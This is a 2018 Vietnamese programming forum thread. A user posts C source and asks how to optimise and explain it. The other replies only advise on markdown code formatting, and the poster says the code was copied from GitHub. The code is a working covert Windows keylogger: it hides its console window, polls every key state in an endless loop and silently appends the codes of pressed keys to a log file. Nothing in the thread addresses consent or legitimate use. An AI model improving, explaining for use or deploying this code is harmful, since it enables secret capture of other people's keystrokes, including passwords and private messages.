01/10/2018, 16:55

Làm sao để tối ưu dòng code bắt phím này và giải thích!

#include <stdio.h> 
#include <windows.h>
#include <time.h>

#define FILE_NAME "Recordkeystrokes.log"

int main(){
	FreeConsole();
	FILE *file = fopen(FILE_NAME,"a");
	time_t date = time(NULL);
	fprintf(file,"0
%s	",ctime(&date));
	fclose(file);
	
	unsigned short ch , i ; 
	
	while(1){
		ch = 1 ; 
		while(ch < 250){
			for(i = 0 ; i < 50 ; i++ , ch++){
				if(GetAsyncKeyState(ch) == -32767){
					file = fopen(FILE_NAME,"a");
					fprintf(file,"%d ",ch);
					fclose(file);
				}
			}
			Sleep(1);
		}
	}
	
	return 0 ; 
}
Nguyễn Đình Anh viết 18:57 ngày 01/10/2018

Trước khi đăng lên thì bạn chú ý là Format và Markdown lại code cho mọi người dễ nhìn ! Thêm Tag phù hợp và nói rõ ra ngôn ngữ bạn đang dùng.

Làm sao để có thể hiển thị syntax highlighting bằng markdown? Các bạn phải đánh dấu ``` như ví dụ dưới đây Chú ý, dấu ``` được tạo ra bởi nút nằm bên trái số 1 trên bàn phím, nút này sẽ là ~ khi bấm giữ Shift Ví dụ cho C Nội dung: ``` void main() { } ``` Và đừng quên ``` ở cuối Kết quả void main() { } Ví dụ cho Pascal Nội dung: ``` Program HelloWorld; Begin WriteLn('Hello world!') {no ";" is required after the last statement of a block - adding one adds a "null stateme…


Code này bạn copy ở đâu mà lại cần phải giải thích

nhox 9x viết 19:01 ngày 01/10/2018

ok mình hiểu rồi cảm ơn bạn

nhox 9x viết 19:01 ngày 01/10/2018

mình copy ở github đó bạn .

Aragami1408 viết 19:02 ngày 01/10/2018

Xem lại cách markdown code của bạn. Để như kiểu facebook như này chả ai muốn giúp bạn đâu.

    ```c
        code
    ```

Bạn làm như y chang vầy code của bạn sẽ rõ ràng hơn

nhox 9x viết 19:11 ngày 01/10/2018

ok rất cảm ơn bạn đã chia sẻ .

Bài liên quan
0